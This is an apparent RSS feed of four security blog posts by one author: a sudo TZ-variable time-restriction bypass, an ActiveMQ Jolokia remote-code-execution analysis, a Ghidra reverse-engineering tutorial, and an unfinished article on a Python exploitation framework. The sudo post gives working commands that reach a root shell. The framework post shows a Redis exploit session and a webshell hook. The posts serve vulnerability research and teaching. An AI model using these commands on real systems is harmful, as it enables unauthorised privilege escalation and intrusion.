<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jared Brits on Medium]]></title>
        <description><![CDATA[Stories by Jared Brits on Medium]]></description>
        <link>https://medium.com/@k3ystr0k3r?source=rss-a836b8283aab------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*07tJPYnz_x0DfCNz3xvmuQ.jpeg</url>
            <title>Stories by Jared Brits on Medium</title>
            <link>https://medium.com/@k3ystr0k3r?source=rss-a836b8283aab------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 05:41:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@k3ystr0k3r/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CVE-2026–96512: Bypassing Sudo Time Restrictions with the TZ Environment Variable]]></title>
            <link>https://k3ystr0k3r.medium.com/cve-2026-96512-bypassing-sudo-time-restrictions-with-the-tz-environment-variable-1a99e7b9215a?source=rss-a836b8283aab------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a99e7b9215a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[post-exploitation]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Jared Brits]]></dc:creator>
            <pubDate>Sat, 14 Nov 2026 16:56:50 GMT</pubDate>
            <atom:updated>2026-11-14T16:56:50.927Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By K3ysTr0K3R</strong></p><p><strong>TL;DR:</strong> If a sudoers rule uses NOTBEFORE or NOTAFTER without a trailing Z, sudo falls back to mktime(), which reads the TZ environment variable from the calling user&#39;s environment. An unprivileged user can shift the effective time window by up to ~25 hours, bypassing time-based authorization. <strong>The fix is simple: append </strong><strong>Z to every timestamp to force UTC.</strong></p><p>Time-based restrictions in sudoers look airtight. You define a window with NOTBEFORE and NOTAFTER, and sudo checks the clock before granting execution. The logic seems sound.</p><p>But there is a subtle flaw in how sudo converts timestamps. When the timestamp lacks a trailing Z, sudo assumes local time and calls <strong>mktime()</strong>. And mktime() reads the <strong>TZ environment variable</strong> from the user&#39;s environment. That variable is under the attacker&#39;s control.</p><p>The result: a user can shift the system’s perceived time by up to <strong>26 hours</strong>, making an expired rule appear active again. This is <strong>CVE-2026–96512</strong>.</p><h3>The Vulnerable Code</h3><p>The root cause is in the timestamp conversion routine. Here is the exact code path:</p><pre>/* Convert struct tm to time_t. */<br>if (islocal) {<br>    /*<br>     * BUG: When no &#39;Z&#39; suffix is present, islocal is true and we<br>     * fall through to mktime(). mktime() reads the TZ environment<br>     * variable from the calling user&#39;s environment, allowing the<br>     * user to shift the effective time window by up to ~25 hours.<br>     */<br>    result = mktime(&amp;tm); /* &lt;-- VULNERABLE: reads TZ from user env */<br>} else {<br>    /* Convert to Unix time, adjusting for time zone offset. */<br>    tm.tm_isdst = 0;<br>    result = timegm(&amp;tm); /* &lt;-- SAFE: ignores TZ, always UTC */<br>    if (tzoff != 0)<br>        result -= tzoff;<br>}</pre><p><strong>Key distinction:</strong> timegm() ignores the environment and assumes UTC. mktime() trusts the TZ variable. When the sudoers rule lacks a Z suffix, islocal is true, and sudo calls mktime().</p><h3>Exploitation</h3><p>The lab setup uses a sudoers rule that grants NOPASSWD access to /usr/bin/id, but with a strict expiration:</p><pre>labuser ALL=(root) NOTAFTER=20261113141012 NOPASSWD: /usr/bin/id</pre><p>This rule is expired. The time window has closed. Under normal circumstances, sudo will reject the command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*G-D5n1jLbsMNJOsUFSAdJw.png" /><figcaption><strong>Showing the creation of the sudoers rule via docker compose</strong></figcaption></figure><p>Now prepend the TZ variable:</p><pre>labuser@bac018836d85:/$ TZ=UTC+14 sudo -n /usr/bin/id<br>uid=0(root) gid=0(root) groups=0(root)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*SnjJMobIk2JQlBALJHJ3nQ.png" /><figcaption><strong>Showing </strong><strong>TZ=UTC+14 sudo -n /usr/bin/id resulting in </strong><strong>uid=0(root)]</strong></figcaption></figure><p>The rule is bypassed. Because mktime() read the attacker-controlled TZ value, sudo believed the current time was still within the NOTAFTER window. A time zone offset of UTC+14 is the maximum positive offset available, but offsets as low as UTC-12 work as well. The total range is <strong>26 hours</strong>—more than a full day of temporal manipulation.</p><h3>What This Vulnerability Is (and Isn’t)</h3><p>CVE-2026–96512 is an <strong>incorrect authorization</strong> flaw. It allows bypassing the <em>time</em> restriction, but it does not bypass authentication for commands that require it.</p><p>Consider the following sequence:</p><pre>labuser@bac018836d85:/$ TZ=UTC+14 sudo -n /usr/bin/whoami<br>root<br>labuser@bac018836d85:/$ TZ=UTC+14 sudo -n /usr/bin/id<br>sudo: a password is required</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*1uGRTYAgEjkt6nh9SYloCQ.png" /><figcaption><strong>Showing </strong><strong>TZ=UTC+14 sudo -n /usr/bin/whoami succeeding, but </strong><strong>TZ=UTC+14 sudo -n /usr/bin/id failing with &quot;sudo: a password is required&quot;</strong></figcaption></figure><p>The whoami command succeeds because the rule explicitly permits it via NOPASSWD. The id command fails because it is not covered by the NOPASSWD exception in that time window. The time gate is bypassed, but sudo still enforces the authentication requirement for that specific command.</p><p><strong>This distinction matters.</strong> The vulnerability is not a universal privilege escalation. It is a bypass of a specific security control: time-based authorization. If an attacker knows a password, or if the targeted command is covered by NOPASSWD, the time restriction becomes irrelevant.</p><h3>The Full Escalation</h3><p>To demonstrate the full impact, craft a rule that grants a shell:</p><pre>docker compose exec -u root sudo bash -c \<br>  &quot;echo &#39;labuser ALL=(root) NOTAFTER=${TS} NOPASSWD: /usr/bin/bash&#39; &gt; /etc/sudoers.d/cve-2026-96512&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*2U3taRDivNI6fi4So2gc4Q.png" /><figcaption><strong>The creation of a sudoers rule granting </strong><strong>/usr/bin/bash</strong></figcaption></figure><p>Execute:</p><pre>TZ=UTC+14 sudo -n /usr/bin/bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*T_vxQEQLrdDCAToIVLi0LQ.png" /><figcaption><strong>Successful root shell access (</strong><strong>root@bac018836d85:/#) and </strong><strong>whoami returning </strong><strong>root</strong></figcaption></figure><p>Root shell. The time restriction is completely nullified.</p><h3>Final Thoughts</h3><p>The bug is not in the time check. It is in the assumption that the user’s environment can be trusted to define what “now” means. When mktime() reads TZ from an unprivileged user, the attacker controls the clock.</p><p>This is a <strong>logic flaw</strong>, not a memory corruption bug. It requires no exploit mitigation bypass, no heap grooming, no ROP chain. It requires <strong>one environment variable and a timestamp that is missing a single character.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wmh_RAP5TlKMpZa5weQHDQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a99e7b9215a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2026–34197: One Jolokia Endpoint. Remote Code Execution in Apache ActiveMQ.]]></title>
            <link>https://k3ystr0k3r.medium.com/cve-2026-34197-one-jolokia-endpoint-remote-code-execution-in-apache-activemq-42a5d49a7084?source=rss-a836b8283aab------2</link>
            <guid isPermaLink="false">https://medium.com/p/42a5d49a7084</guid>
            <category><![CDATA[glorious-exploits]]></category>
            <category><![CDATA[rce-vulnerability]]></category>
            <category><![CDATA[apache-activemq-jolokia]]></category>
            <category><![CDATA[cve-2026-34197]]></category>
            <dc:creator><![CDATA[Jared Brits]]></dc:creator>
            <pubDate>Thu, 05 Nov 2026 16:01:26 GMT</pubDate>
            <atom:updated>2026-11-05T16:01:26.349Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>By K3ysTr0K3R</em></strong></p><p>Apache ActiveMQ is a message broker. It handles communication between applications, services and distributed systems.</p><p>It also exposes management functionality through JMX.</p><p>That’s where things get interesting.</p><p>Apache ActiveMQ Classic exposes Jolokia, an HTTP interface to JMX, through it’s web console. The problem was that the default Jolokia access policy permitted authenticated users to invoke execution operations against ActiveMQ management MBeans.</p><p>One of those operations could be used to trigger something much more dangerous than a broker configuration change.</p><p><strong>CVE-2026–34197 allowed an authenticated attacker to achieve remote code execution inside the ActiveMQ broker JVM.</strong></p><p>Let’s take a look at what went wrong.</p><h3>1. Understanding the attack surface</h3><p>Jolokia provides an HTTP interface for interacting with Java Management Extensions (JMX).</p><p>Instead of connecting to a JMX service directly, management operations can be submitted through HTTP.</p><p>ActiveMQ exposes this functionality at:</p><pre>/api/jolokia/</pre><p>The vulnerable configuration permitted exec operations against ActiveMQ MBeans matching:</p><pre>org.apache.activemq:*</pre><p>Two particularly important operations were:</p><pre>BrokerService.addNetworkConnector(String)<br>BrokerService.addConnector(String)</pre><p>Both operations accept a connector URI.</p><p>That URI is important because ActiveMQ supports multiple transport implementations, including its VM transport.</p><p>The VM transport supports a brokerConfig parameter that can reference a broker configuration.</p><p>The problem was that this functionality could ultimately cause ActiveMQ to load an externally supplied Spring XML application context.</p><h3>2. Examining the vulnerable Java functionality</h3><p>The first relevant component is BrokerService.</p><p>The following is a simplified representation of the affected connector-management functionality, not a verbatim source-code extract:</p><pre>public TransportConnector addConnector(String uri)<br>        throws Exception {<br><br>    TransportConnector connector =<br>        createTransportConnector(uri);<br><br>    return connector;<br>}</pre><p>The network connector functionality follows a similar pattern:</p><pre>public NetworkConnector addNetworkConnector(String uri)<br>        throws Exception {<br><br>    NetworkConnector connector =<br>        createNetworkConnector(uri);<br><br>    return connector;<br>}</pre><p>The important issue is the handling of the supplied URI.</p><p>The connector methods eventually pass the URI into ActiveMQ’s transport and broker-creation machinery.</p><p>This is where the VM transport becomes relevant.</p><h3>The VM transport</h3><p>ActiveMQ supports the vm:// transport for communication between brokers running inside the same JVM.</p><p>It also supports dynamically creating brokers when the requested broker does not already exist.</p><p>The brokerConfig parameter can influence how that broker is configured.</p><p>This functionality becomes dangerous when an externally controlled URI can cause an external Spring configuration to be loaded.</p><h3>Spring application context initialization</h3><p>The relevant Spring component is:</p><pre>org.springframework.context.support.ResourceXmlApplicationContext</pre><p>This class loads an XML-based application context from a resource.</p><p>Spring normally creates singleton beans during application-context initialization.</p><p>That means bean initialization can happen before the caller finishes processing or validating the configuration.</p><p>Conceptually, the dangerous ordering looks like this:</p><pre>ResourceXmlApplicationContext context =<br>    new ResourceXmlApplicationContext(configuration);<br><br>context.refresh();<br><br>// ActiveMQ performs additional configuration validation.<br>validateBrokerConfiguration();</pre><p>This is an illustrative representation of the ordering issue, not a verbatim ActiveMQ implementation.</p><p>The security problem is that application-context initialization can have side effects before the broker rejects an invalid configuration.</p><p>The proof of concept here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*dU0TMA_cUj_AkvutKhu6bQ.png" /><figcaption>The exploit.</figcaption></figure><h3>3. Why this resulted in RCE</h3><p>Spring XML configuration is capable of defining objects and invoking initialization methods.</p><p>That functionality is useful for legitimate application configuration.</p><p>Loading an attacker-controlled Spring XML document introduces a serious security problem.</p><p>For example, a Spring bean can invoke a Java factory method during initialization.</p><p>A harmless conceptual example would be:</p><pre>&lt;bean id=&quot;example&quot;<br>      class=&quot;com.example.Initializer&quot;<br>      factory-method=&quot;initialize&quot;/&gt;</pre><p>If the factory method performs an operating-system operation, that operation executes inside the JVM loading the application context.</p><p>In the vulnerable ActiveMQ execution path, this behavior could be abused to execute arbitrary code.</p><p>The broker did not need to contain a traditional memory-corruption vulnerability.</p><p>It was using its existing Java configuration functionality in an unsafe way.</p><h3>4. What the security fix changed</h3><p>The original fix introduced restrictions on VM transport usage in the affected connector-management path.</p><p>The intention was to prevent an attacker from using connector registration to trigger dynamic VM broker creation with an externally supplied configuration.</p><p>This is also an interesting example of why security patches need to validate the entire input-processing chain.</p><p>Subsequent vulnerabilities identified bypasses in this general area:</p><ul><li>CVE-2026–40466 involved an HTTP Discovery transport bypass.</li><li>CVE-2026–45505 involved non-parenthesized discovery wrapper bypasses.</li></ul><p>These follow-up issues are important when examining the effectiveness of the original fix.</p><h3>5. Affected versions</h3><p>The original vulnerability affected:</p><p>ComponentVulnerable versionsActiveMQ Broker 5.xBefore 5.19.4ActiveMQ Broker 6.x6.0.0 through 6.2.2ActiveMQ All 5.xBefore 5.19.4ActiveMQ All 6.x6.0.0 through 6.2.2</p><p>The original Apache advisory identifies 5.19.4 and 6.2.3 as the initial fixed releases. Later security advisories addressed additional bypasses.</p><p>For the subsequent fixes, the recommended versions are:</p><ul><li>ActiveMQ 5.19.7 or later.</li><li>ActiveMQ 6.2.6 or later.</li></ul><h3>6. Conclusion</h3><p>CVE-2026–34197 shows you how dangerous exposed management functionality can become when several otherwise legitimate components interact without sufficient validation.</p><p>Jolokia exposed JMX operations over HTTP.</p><p>ActiveMQ accepted connector URIs.</p><p>The VM transport supported broker configuration loading.</p><p>Spring instantiated singleton beans during application-context initialization.</p><p>Put those pieces together, and a broker-management operation became a remote code execution primitive.</p><p><strong>The interesting part isn’t just that ActiveMQ loaded an external configuration. It’s that it loaded and initialized that configuration before deciding whether it should have accepted it in the first place.</strong></p><p>That’s the mistake worth understanding.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=42a5d49a7084" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Compiled a Beans Program. Then I Ripped It Apart With Ghidra.]]></title>
            <link>https://k3ystr0k3r.medium.com/i-compiled-a-beans-program-then-i-ripped-it-apart-with-ghidra-672e6c0aaeae?source=rss-a836b8283aab------2</link>
            <guid isPermaLink="false">https://medium.com/p/672e6c0aaeae</guid>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[education]]></category>
            <dc:creator><![CDATA[Jared Brits]]></dc:creator>
            <pubDate>Mon, 02 Nov 2026 18:06:03 GMT</pubDate>
            <atom:updated>2026-11-05T14:40:26.316Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By K3ysTr0K3R</strong></p><p>People ask how malware analysts figure out what a virus does before it nukes a system. Or how exploit developers find bugs in software they don’t have the source code for.</p><p>The answer is <strong>reverse engineering.</strong></p><p>Today, we’re going to take a stupidly simple C program, compile it, and tear it down to the bare metal.</p><p><strong>Let’s get into it.</strong></p><h3>1. The Human Layer</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*n79V8MB3YzueNOi-I1Vobg.png" /><figcaption>The C Code</figcaption></figure><p>Everything starts readable. I made three strings (the “beans” messages) and told the computer to print them. To a human, this makes perfect sense. <strong>To the CPU, this is completely blind.</strong> It needs to be translated.</p><h3>2. The Translation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*mTqgQRXWt_-R-gcToThJyw.png" /><figcaption>The GCC Command</figcaption></figure><p>I type a command. I tell GCC to take my text file and turn it into an executable binary. <strong>No errors, no warnings. The translation is done.</strong> Now, the computer has something it can run.</p><h3>3. The Messy Reality</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*2u427_cAjp-sYJF2_k_tJA.png" /><figcaption>The Messy Terminal Output</figcaption></figure><p>I opened the program up to see what’s inside after compiling it. And look at this mess. The program works, but the terminal vomits out random garbage, ELF headers, and memory addresses before it spits out the text.</p><p>Why? Because when you strip away the human-readable code, <strong>you’re left with raw structural data.</strong> You can run a program successfully and still have the output look like an absolute mess. <strong>Welcome to the reality of binaries.</strong></p><h3>4. Finding the Needles</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*V5Er_qmXtKach3Yc1DhSNg.png" /><figcaption>The Strings Command</figcaption></figure><p>Because we can’t read 1s and 0s with our eyeballs, we use a tool called <strong>strings.</strong> It digs through the binary and rips out anything that looks like text.</p><p>There are our messages — “why did you eat my beans.” But look <a href="https://www.google.com/url?sa=t&amp;source=web&amp;rct=j&amp;opi=89978449&amp;url=https://lookclosely.ai/&amp;ved=2ahUKEwidhtTh6umXAxUdUUEAHWE0HO0QFnoECCcQAQ&amp;usg=AOvVaw1RQyJdyTLeq81ymRttG5Np">closely</a>. You see libc.so.6 and GLIBC. <strong>This proves the program isn&#39;t self-contained.</strong> It’s relying on external libraries to function.</p><h3>5. Enter Ghidra</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KdDDpTwpcLphB7cRBGRPBA.png" /><figcaption>Ghidra’s Initial View</figcaption></figure><p>Now we’re playing for keeps. <strong>This is Ghidra.</strong> It’s a reverse engineering tool built by the NSA. We are taking a finished, compiled program and forcing it to reveal its blueprints.</p><p>Right now, it sees “undefined main.” It found the function, but it hasn’t fully broken it down yet.</p><h3>6. Mapping the Skeleton</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*_PH-MQyHTU_mKBIaYcNzVw.png" /><figcaption>Ghidra’s Symbol Tree</figcaption></figure><p>Ghidra maps out the functions. You see main, frame_dummy, and _start.</p><p>Finding _start is important. <strong>That is the entry point.</strong> That is the exact address where the operating system hands control over to the CPU. It’s the front door of the software.</p><h3>7. The Decompiled Code (Pseudocode)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*wv1GA-4jcC7VHasX5q82uQ.png" /><figcaption>Ghidra’s Decompiler</figcaption></figure><p>Here is where it gets crazy. <strong>Ghidra takes the raw machine code and translates it back into C code (pseudocode).</strong></p><p>It’s not perfect. Instead of seeing my char msg[] arrays from the first image, Ghidra sees a giant block of memory it calls local_48. The compiler merged those strings into memory to save space, but because I didn&#39;t use debug symbols when I compiled it, Ghidra has to guess how that memory is organized. <strong>It doesn’t know my original variable names.</strong></p><p>But look at line 7. We see builtin_strncpy. Even without the original source, Ghidra figured out exactly what tool was being used to copy the strings. <strong>It reverse-engineered the logic.</strong> You can literally read the original messages sitting right there in the decompiled output.</p><h3>8. The Raw Machinery</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*aLwU2l7g_Ku9JC8tNUQKAg.png" /><figcaption>The Assembly and Hex Codes</figcaption></figure><p>Finally, we hit the bottom. <strong>Assembly language. The absolute raw machinery.</strong> This is what the CPU reads.</p><p>You see instructions like MOV (move data) and LEA (load address). On the right, you see hex codes. To you, it looks like gibberish. But the computer is literally reading letters packed into memory.</p><p>Look at the very first MOV instruction: 0x6e61656220796d20.</p><p><strong>That’s not random.</strong> In ASCII hex, that spells “my bean”. The very next line, 0x3f3f3f3f3f73, spells &quot;s?????&quot; (because 3f is the ASCII code for a question mark).</p><p><strong>This raw assembly is exactly what Ghidra was looking at to build the pseudocode we saw in the last step.</strong> You are looking at the engine block.</p><h3>My take on this</h3><p>If you want to learn this, stop reading about it. Go download Ghidra, write a stupid program, compile it, and start breaking it. <strong>That’s the only way it clicks.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AlXIZ5_enGdH5QGZKfEjiQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=672e6c0aaeae" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building METIS: Inside a Modular Exploitation Framework in Python]]></title>
            <link>https://k3ystr0k3r.medium.com/building-metis-inside-a-modular-exploitation-framework-in-python-14753b361eb4?source=rss-a836b8283aab------2</link>
            <guid isPermaLink="false">https://medium.com/p/14753b361eb4</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[exploit]]></category>
            <dc:creator><![CDATA[Jared Brits]]></dc:creator>
            <pubDate>Thu, 29 Oct 2026 09:13:13 GMT</pubDate>
            <atom:updated>2026-10-29T09:23:45.268Z</atom:updated>
            <content:encoded><![CDATA[<p><em>By K3ysTr0K3R</em></p><p>A framework is only as good as the code holding it together.</p><p>You can write an exploit. You can write a scanner. You can glue five scripts together and call it a toolkit.</p><p>But once you start adding modules, handling targets, tracking sessions, and managing configuration, <strong>the shortcuts start catching up with you.</strong></p><p>That’s the problem I wanted to tackle with <strong>METIS</strong>.</p><p>METIS is a Python framework for security research, built around a core that handles shared functionality and modules that implement individual tasks. Instead of making every module solve the same problems, the framework gives them a common interface.</p><p>In this article, I’m breaking down how that design works, how to use the console, and how to start building modules of your own.</p><p>No mystery. Let’s look at the code.</p><h3>Inspired by Metasploit</h3><p>METIS takes some inspiration from <strong>Metasploit</strong>, particularly the idea of organising security tools into modules with consistent options and execution flows.</p><p>If you’ve used Metasploit before, parts of METIS will feel familiar: select a module, configure its options, and run it through a common interface.</p><p>The goal isn’t to clone Metasploit or compete with its massive ecosystem.</p><p>METIS is my own Python-based project, built around a modular approach to exploitation research, auxiliary tooling, and threat intelligence. It’s smaller, still evolving, and designed to give contributors room to build and experiment without making the framework unnecessarily complicated.</p><blockquote><em>The goal isn’t to clone an established framework. It’s to build something modular, understandable, and open to improvement.</em></blockquote><h3>1. Start With the Module Manager</h3><p>A modular framework needs a way to find modules without requiring every new module to be manually wired into the console.</p><p>Python’s pathlib makes recursive discovery straightforward. Here&#39;s the basic idea:</p><pre>from pathlib import Path<br><br>MODULE_ROOT = Path(&quot;modules&quot;)<br>for path in MODULE_ROOT.rglob(&quot;*.py&quot;):<br>    if path.name.startswith(&quot;_&quot;):<br>        continue<br>    print(path)</pre><p>This is an <strong>illustrative discovery snippet</strong>, not METIS’s complete module loader.</p><p>Finding a Python file is only the first step. A real loader must also import the module, identify the appropriate class, handle import errors, and register it under a predictable name.</p><p>That’s where a consistent module structure becomes important.</p><p><strong>The framework should handle the common machinery. Individual modules should focus on their own jobs.</strong></p><h3>2. The Module Contract</h3><p>METIS uses different base classes for different types of work.</p><p>An exploit module inherits from Exploit. An auxiliary module inherits from Auxiliary.</p><p>Both can declare metadata and options, but their execution paths differ.</p><p>The examples in METIS demonstrate this distinction:</p><ul><li><strong>Exploit</strong> provides the base for exploit modules.</li><li><strong>Auxiliary</strong> provides the base for auxiliary tasks such as scanning and enumeration.</li><li><strong>Option</strong> defines configuration that the console can expose.</li><li><strong>CheckResult</strong> communicates the outcome of a module&#39;s assessment.</li><li><strong>action()</strong>, check(), and exploit() serve different purposes depending on the module type.</li></ul><p>A simplified auxiliary module looks like this:</p><pre>from core.auxiliary import Auxiliary<br>from core.module import Option<br><br>class ExampleScanner(Auxiliary):<br>    NAME = &quot;Example Scanner&quot;<br>    DESCRIPTION = &quot;A demonstration scanner.&quot;<br>    AUTHOR = &quot;K3ysTr0K3R&quot;<br>    OPTIONS = [<br>        Option(<br>            &quot;RHOST&quot;,<br>            required=True,<br>            description=&quot;Target hostname or IP address&quot;,<br>        ),<br>        Option(<br>            &quot;RPORT&quot;,<br>            default=80,<br>            type=int,<br>            description=&quot;Target port&quot;,<br>        ),<br>    ]<br>    def action(self):<br>        host = self.options[&quot;RHOST&quot;]<br>        port = self.options[&quot;RPORT&quot;]<br>        print(f&quot;Configured target: {host}:{port}&quot;)</pre><p>This example illustrates the interface pattern visible in the project. It is not a substitute for verifying the module loader and console behaviour in the current checkout.</p><p>Notice where the configuration lives.</p><p>Instead of scattering hard-coded values throughout the implementation, the module declares its options in one place. The framework can then expose those options through its configuration workflow.</p><p><strong>That separation makes modules easier to configure, test, and maintain.</strong></p><h3>3. Running a Module</h3><p>The intended workflow is simple: search for a module, select it, configure its options, and run it.</p><p>For example, a Redis scanner workflow might look like this:</p><pre>metis &gt; search redis<br>metis &gt; use auxiliary/scanner/redis_cve_2022_0543<br>metis auxiliary(scanner/redis_cve_2022_0543) &gt; options<br>metis auxiliary(scanner/redis_cve_2022_0543) &gt; set RHOSTS 192.168.56.101<br>metis auxiliary(scanner/redis_cve_2022_0543) &gt; set RPORT 6379<br>metis auxiliary(scanner/redis_cve_2022_0543) &gt; run</pre><p>These commands illustrate the documented module workflow. Exact module names and console syntax should be checked against the current version of METIS.</p><p>The point is consistency.</p><p>A researcher shouldn’t need to learn a completely different interface every time they change tools. Module selection, configuration, and execution should follow a predictable pattern.</p><p>That becomes increasingly important as the number of available modules grows.</p><h3>4. When an Exploit Actually Works</h3><p>A vulnerability check and a successful exploit are two different things.</p><p>A check might find indicators that a target is vulnerable. That’s useful evidence, but it doesn’t automatically mean the exploit will work.</p><p>Network conditions, configuration differences, patched components, permissions, and environmental restrictions can all affect the result.</p><p>The METIS README documents an example involving the Redis vulnerability <strong>CVE-2022–0543</strong>. The transcript shows the scanner identifying a vulnerable lab target, followed by the exploit module creating a session and returning command output.</p><p>The documented session interaction looks like this:</p><pre>metis exploit(linux/redis/redis_cve_2022_0543_rce) &gt; sessions<br>  a3f2b1c4  192.168.56.101:51234  (alive)<br><br>metis exploit(linux/redis/redis_cve_2022_0543_rce) &gt; interact a3f2b1c4<br>[*] interacting with a3f2b1c4. &#39;background&#39; returns, &#39;!cmd&#39; runs locally.<br>a3f2b1c4 $ id<br>uid=105(redis) gid=108(redis) groups=108(redis)<br>a3f2b1c4 $ background<br>metis &gt;</pre><p>This is a documented example from the project README, not a claim that I independently reproduced the session.</p><p>Why include it?</p><p>Because it demonstrates the distinction between a preliminary assessment and stronger evidence of successful execution. A VULNERABLE result is the module&#39;s assessment; a usable session and meaningful command output provide additional evidence that the demonstrated operation succeeded.</p><p>That distinction matters when building reliable security tools.</p><blockquote><strong><em>Report what you observed, not what you hoped would happen.</em></strong></blockquote><p>A module’s output is part of its evidence. If it cannot verify a result, it shouldn’t pretend otherwise.</p><h3>5. Auxiliary Modules and Exploits Aren’t the Same Thing</h3><p>This distinction affects the entire framework.</p><p>An <strong>auxiliary module</strong> performs a task such as scanning, enumeration, or service identification. Its primary operation is commonly implemented in action().</p><p>An <strong>exploit module</strong> has a different purpose. It may assess a target through check(), then implement its main operation in exploit(). Depending on the module, it may also need payload handling or session management.</p><p>The Redis scanner illustrates auxiliary functionality. It defines options, expands target specifications, probes Redis, processes results, and optionally records findings.</p><p>The Joomla JCE module illustrates a more complex exploit-module structure. It builds an HTTP session, handles requests, extracts a token, and integrates with METIS session management.</p><p>These aren’t interchangeable implementations.</p><p><strong>The base class and execution method should match the module’s actual purpose.</strong></p><p>Keeping that distinction clear helps contributors understand where their code belongs and what the framework expects from it.</p><h3>6. Checks: Don’t Confuse UNKNOWN With SAFE</h3><p>A check is only as good as the evidence behind it.</p><p>METIS uses CheckResult to represent the outcome of a module&#39;s assessment. In practice, a check should distinguish between evidence supporting a vulnerability, evidence against it, and situations where the available evidence is insufficient.</p><p>For example:</p><pre>from core.check import CheckResult<br><br>def check(self):<br>    # Perform a suitable assessment here.<br>    # The actual logic depends on the vulnerability.<br>    return CheckResult.UNKNOWN</pre><p>This is a structural example, not a complete vulnerability check.</p><p>Consider a network request that times out. That doesn’t prove a target is safe. The service might be unavailable, a firewall might be filtering traffic, or the timeout might simply be too short.</p><p>Likewise, identifying an application by its banner doesn’t prove that a particular vulnerability exists.</p><p>A good check uses evidence relevant to the vulnerability being assessed and reports uncertainty honestly.</p><p>The Joomla module provides a useful lesson here. Its current check looks for Joomla signatures and attempts to retrieve a CSRF token. Those indicators may help identify the application and establish that a token is present, but they do not conclusively establish that the specific JCE vulnerability is exploitable.</p><p>That check should be described as a preliminary heuristic unless it has been validated against the vulnerability’s actual conditions.</p><blockquote><strong><em>UNKNOWN isn’t SAFE. A failed or inconclusive check is not proof that a vulnerability doesn’t exist.</em></strong></blockquote><p>That mindset matters when building scanners other people may rely on.</p><h3>7. How Target Parsing Works</h3><p>Scanners often need to handle more than one hostname.</p><p>The Redis scanner uses resolve_targets() and supports target specifications such as single hosts, comma-separated lists, CIDR ranges, address ranges, and files.</p><p>Target expansion belongs in a reusable helper instead of being duplicated across every scanner.</p><p>Python’s ipaddress module is useful when implementing address-range handling:</p><pre>import ipaddress</pre><pre>network = ipaddress.ip_network(&quot;192.168.56.0/24&quot;)</pre><pre>for address in network.hosts():<br>    print(address)</pre><p>This example handles a CIDR network. It doesn’t implement METIS’s full target syntax, which includes additional forms and should be handled by the framework’s own target-resolution code.</p><p>The scanner should also make it clear when a check examines only one target while a full scan processes many. The Redis scanner explicitly warns when a multi-target configuration is used with its single-target check() method.</p><p>That’s a small detail, but it prevents confusing results.</p><p><strong>Target handling should be predictable, reusable, and transparent about what is actually being scanned.</strong></p><h3>8. Sessions and Connection Handling</h3><p>Some exploit modules finish after sending a request and interpreting the response. Others need to manage a longer-lived connection.</p><p>The Redis example in the README illustrates how METIS can track an interactive session. The Joomla module also demonstrates a session integration point:</p><pre>self.framework.sessions.add_webshell(<br>    shell_url,<br>    method=&quot;get&quot;,<br>    cmd_param=&quot;cmd&quot;,<br>    session=session,<br>)</pre><p>This snippet is taken from the supplied Joomla module. It illustrates the framework integration point, not a general-purpose session implementation.</p><p>The framework should own shared session management where possible. That avoids every module implementing its own session registry, interaction commands, and lifecycle handling.</p><p>Session creation must still be based on successful verification.</p><p>Receiving an HTTP 200 response does not, by itself, prove that an interactive session works. Modules should report failures honestly and account for cleanup when sessions or other resources are no longer needed.</p><p>This is another reason to keep responsibilities separate: the module handles its specific task, while shared framework components manage the functionality that multiple modules need.</p><h3>9. Reporting Findings</h3><p>A scanner that identifies a problem should be able to preserve its findings rather than printing everything to the terminal and losing the 